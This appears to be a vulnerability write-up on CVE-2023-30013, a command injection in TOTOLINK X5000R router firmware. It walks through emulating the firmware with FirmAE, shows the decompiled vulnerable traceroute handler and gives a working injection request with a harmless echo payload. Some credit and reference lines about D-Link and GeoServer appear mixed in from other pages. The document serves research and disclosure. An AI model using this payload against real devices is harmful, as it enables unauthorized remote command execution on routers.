Multiple Vulnerabilities discovered in the D-link Firmware DIR-816L
D-link DIR-600 cmd injection vulnerability
D-Link UPnP Unauthenticated LAN RCE – h00die-gr3y Metasploit local repository
D-Link UPnP Unauthenticated LAN RCE – Metasploit PR 18463
D-Link Firmware Repository
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Credits
Zach Cutlip
Michael Messner <devnull@s3cur1ty.de>
Miguel Mendez Z. (s1kr10s)
Pablo Pollanco (secenv)
Naihsin https://github.com/naihsin
And to all other good fellows who raised this concern ;–)
Technical Analysis
Zioncom (Hong Kong) Technology Limited is a professional manufacturer for network communication products, including Wireless Router/AP (Indoor & Outdoor) , 4G&5G Router, Wireless Extender, Wireless USB Adapter, Wireless Module, Switch and Wired Router.
They are launching a large portfolio their network products under the brand name TOTOLINK. Despite the fact that they are in the business of developing and designing network products, a lot of their solutions are flawed in terms of security. Dozens of their products and related firmware are subject to buffer overflows and command injections and this CVE is only one of the many out there.
I took this CVE to the focus a bit more on the analysis of firmware and how you test your firmware without having the hardware actually in hand using firmware emulation.
Firmadyne is one of most popular firmware analysis and emulation software and is available in the public domain where you can install it freely on your Linux distribution. Now before you jump in cloning the repository and start the installation, I want to outline two other firmware analysis and emulation tools that probably makes your life a bit easier.
The first one is Firmware Analysis Toolkit (FAT) which is basically a script to automate Firmadyne
. If you do not want to bother with complex installation, you can try AttifyOS which has Firmware Analysis Toolkit and other tools pre-installed and ready to use.
The other tool that you can use is called FirmAE which is a fully-automated framework that performs emulation and vulnerability analysis. FirmAE
significantly increases the emulation success rate (From Firmadyne’s 16.28% to 79.36%) with five arbitration techniques.
In my case, I settled for FirmAE
, because it indeed increases the success rate of firmware emulation considerably. There is a very nice Paper that explains the architecture and techniques used and I would advice you to read this first before jumping into the installation and operation of the tool.
Ok let’s go down to business and do some analysis and emulation with FirmAE
.
I installed FirmAE
on my Kali Linux distribution (2023.4) using the installation instructions provided on the github page. To emulate the specific firmware that comes with the TOTOLINK X5000R, binwalk
need to be able to handle a sasquatch filesystem which requires a bit of additional installation and compilation steps that you can find here. Please do not forget to run this after your FirmAE
installation otherwise you will not be able to extract the firmware.
Ok, when everything is installed, let’s download the vulnerable firmware from TOTOLINK here. We need V9.1.0u.6118_B20201102
and .V9.1.0u.6369_B20230113
UPDATE 14 September 2023
I could not reproduce the exploit with X5000R firmware V9.1.0u.6369_B20230113.rar
, so please use V9.1.0u.6118_B20201102.zip
for your testing.
I have also discovered other TOTOLINK firmware that is vulnerable for the same exploit.
- Wireless Dual Band Gigabit Router model A7000R with firmware
A7000R_V9.1.0u.6115_B20201022.zip
- Wireless Dual Band Gigabit Router model A3700R with firmware
A3700R_V9.1.2u.6134_B20201202.zip
- Wireless N Router model N200RE V5 with firmware
N200RE_V5_V9.3.5u.6095_B20200916.zip
andN200RE_V5_V9.3.5u.6139_B20201216.zip
- Wireless N Router model N350RT with firmware
N350RT_V9.3.5u.6095_B20200916.zip
andN350RT_V9.3.5u.6139_B20201216.zip
- Wireless Extender model EX1200L with firmware
EX1200L_V9.3.5u.6146_B20201023.zip
- And probably more looking at the scale of impacted devices :–(
We are now ready to start the emulation. With FirmAE
, you have different options such as a check option (-c) to see if your firmware can be emulated or a run option (-r) to emulate your firmware. I always use the debug option (-d) because it gives you the ability to access the firmware via a console for debugging and analysis purposes.
First run ./init.sh
to start initialize the Postgress database.
Now run the debug session by running the following command ./run.sh -d TOTOLINK X5000R_V9.1.0u.6118_B20201102.zip
This will take a while, but in the end you should see the following…
TIP: you can speed this up by setting the arbitrary option FIRMAE_ETC
in firmae.config
to false (however, not necessary to make below work).
# ./run.sh -d TOTOLINK /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip [*] /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip emulation start!!! [*] extract done!!! [*] get architecture done!!! mke2fs 1.47.0 (5-Feb-2023) mknod: /dev/mem: File exists mknod: /dev/kmem: File exists mknod: /dev/null: File exists mknod: /dev/random: File exists mknod: /dev/urandom: File exists mknod: /dev/console: File exists mknod: /dev/ptmx: File exists mknod: /dev/ttyS0: File exists mknod: /dev/ttyS1: File exists mknod: /dev/ppp: File exists mknod: /dev/mtd0: File exists mknod: /dev/mtd1: File exists mknod: /dev/mtd2: File exists mknod: /dev/mtd3: File exists mknod: /dev/mtd4: File exists mknod: /dev/mtd5: File exists mknod: /dev/mtd6: File exists mknod: /dev/mtdblock0: File exists mknod: /dev/mtdblock1: File exists mknod: /dev/mtdblock2: File exists mknod: /dev/mtdblock3: File exists mknod: /dev/mtdblock4: File exists mknod: /dev/mtdblock5: File exists mknod: /dev/mtdblock6: File exists e2fsck 1.47.0 (5-Feb-2023) [*] infer network start!!! [IID] 1 [MODE] debug [+] Network reachable on 192.168.0.1! [+] Run debug! Creating TAP device tap1_0... Set 'tap1_0' persistent and owned by uid 0 Bringing up TAP device... Starting emulation of firmware... None false false -1 -1 /root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 import telnetlib [*] firmware - X5000R_V9.1.0u.6118_B20201102 [*] IP - 192.168.0.1 [*] connecting to netcat (192.168.0.1:31337) [-] failed to connect netcat ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit
Now there is an issue that we need to fix first because the network connectivity from the host to the emulated firmware, which is basically a virtual machine, is not working. You can see this because netcat
can not connect on 192.168.0.1 and pinging this IP is also not working. In order to fix this, use option 1. connect to socat
to access your running firmware and run below commands to check the network configuration.
>1 / # brctl show brctl show bridge name bridge id STP enabled interfaces br0 8000.525400123458 yes eth2 / # ifconfig -a ifconfig -a br0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57 BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) eth2 Link encap:Ethernet HWaddr 52:54:00:12:34:58 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:33 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:1980 (1.9 KiB) eth3 Link encap:Ethernet HWaddr 52:54:00:12:34:59 BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) ip6tnl0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 NOARP MTU:1452 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) sit0 Link encap:IPv6-in-IPv4 NOARP MTU:1480 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) tunl0 Link encap:UNSPEC HWaddr 00-00-00-00-D4-7F-2C-6A-00-00-00-00-00-00-00-00 NOARP MTU:1480 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) / #
In my case, there were two issues, first of all the bridge command showed eth2
instead eth0
and br0
did not have any IP configured.
To fix this, run the following commands below to make the firmware accessible from the host.
/ # brctl addif br0 eth0 brctl addif br0 eth0 / # brctl show brctl show bridge name bridge id STP enabled interfaces br0 8000.525400123456 yes eth2 eth0 / # ifconfig eth0 up ifconfig eth0 up / # ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255 ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255 / #
You should now be able to ping
the network address 192.168.0.1 from your host and run a nmap
command to check the services.
# ping 192.168.0.1 PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. 64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=8.92 ms 64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=2.38 ms ^C --- 192.168.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms # nmap 192.168.0.1 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 17:44 UTC Nmap scan report for 192.168.0.1 Host is up (0.011s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 23/tcp filtered telnet 80/tcp filtered http 8080/tcp filtered http-proxy MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds
nmap
shows that the web service is up and running on port 80 so it is time to dig into the vulnerability.
Reading the CVE, it talks about command insertion vulnerability in setting/setTracerouteCfg using the command
parameter.
Most of the functionality sits in the /cgi-bin/cstecgi.cgi
file that you can find in the www
directory at the emulated firmware.
/www/cgi-bin # ls -l ls -l -rwxrwxr-x 1 root root 455 Nov 2 2020 ExportSettings.sh -rwxrwxr-x 1 root root 251300 Nov 2 2020 cstecgi.cgi lrwxrwxrwx 1 root root 15 Nov 2 2020 custom.cgi -> /tmp/custom.cgi /www/cgi-bin #
To analyze, you can load this IDA
or Ghidra
to perform some reverse engineering.
I will not dwell on this topic for now, but the vulnerable code resides in the decompiled function below shown in Ghidra
where the parameter command
is not properly escaped when it is executed using the doSystem
command which is basically an OS command call to the underlying Linux OS.
undefined4 FUN_0041f6a0(undefined4 param_1) { undefined2 *param3; undefined2 *__nptr; int param2; char acStack_90 [128]; memset(acStack_90,0,0x80); param3 = websGetVar(param_1,"command",(undefined2 *)"www.baidu.com"); __nptr = websGetVar(param_1,"num",(undefined2 *)0x437f70); param2 = atoi((char *)__nptr); sprintf(acStack_90,"traceroute -m %d %s&>/var/log/traceRouteLog",param2,(char *)param3); doSystem(acStack_90); setResponse(&DAT_00436104,"reserv",param2,param3); return 1; }
Besides reverse engineering using Ghidra
or IDA
, you can use the firmware analysis functionality provided by FirmAE
. This is dynamic analysis using fuzzing and actually exploits from tools like Routersploit
to find vulnerable code.
Let’s quickly validate if our vulnerable emulated router is vulnerable by sending a malicious POST
request with a manipulated command
parameter using burpsuite
.
POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 77 Origin: http://192.168.0.1 Connection: close {"command":"127.0.0.1; echo cuckoo >/tmp/cuckoo.txt;","num":"200","topicurl":"setTracerouteCfg"}
Below is a valid response.
HTTP/1.1 200 OK Connection: close Date: Sun, 13 Sep 2015 16:37:50 GMT Server: lighttpd/1.4.20 Content-Length: 234 traceroute to 127.0.0.1 (127.0.0.1), 200 hops max, 38 byte packets 1 localhost.localdomain (127.0.0.1) 4.842 ms 0.195 ms 0.192 ms { "success": true, "error": null, "lan_ip": "192.168.0.1", "wtime": "0", "reserv": "reserv" }
However, it is a blind command injection because nothing is returned in the response with regards to a successful command execution.
We have to check this directly on the emulated firmware and as you can see is the file /tmp/cuckoo.txt
successfully created.
/tmp # ls -l *.txt ls -l *.txt -rw-rw-rw- 1 root root 7 Sep 13 16:37 cuckoo.txt /tmp # cat cuckoo.txt cat cuckoo.txt cuckoo /tmp #
A Metasploit module for this exploit is in development.
You can find the module here in my local repository or as PR 18365 at the Metasploit Github development.
Mitigation
You should update your TOTOLINK X5000R
router and other vulnerable TOTOLINK network devices listed in this article to the latest available firmware.
References
FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Firmware Analysis Toolkit (FAT)
Firmadyne
CVE-2023-30013
TOTOLINK Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18365
TOTOLINK X5000R Firmware
Credits
Kazamayc
And to all other good fellows who raised this concern ;–)
I have added an Metasploit module enhancement that to dynamically pull and test the
feature_type
list to establish an RCE. This will make the module more robust towards installations with differentfeature_type
configurations.Credits go to Chocapikk who suggested this change.
See Geoserver enhancement.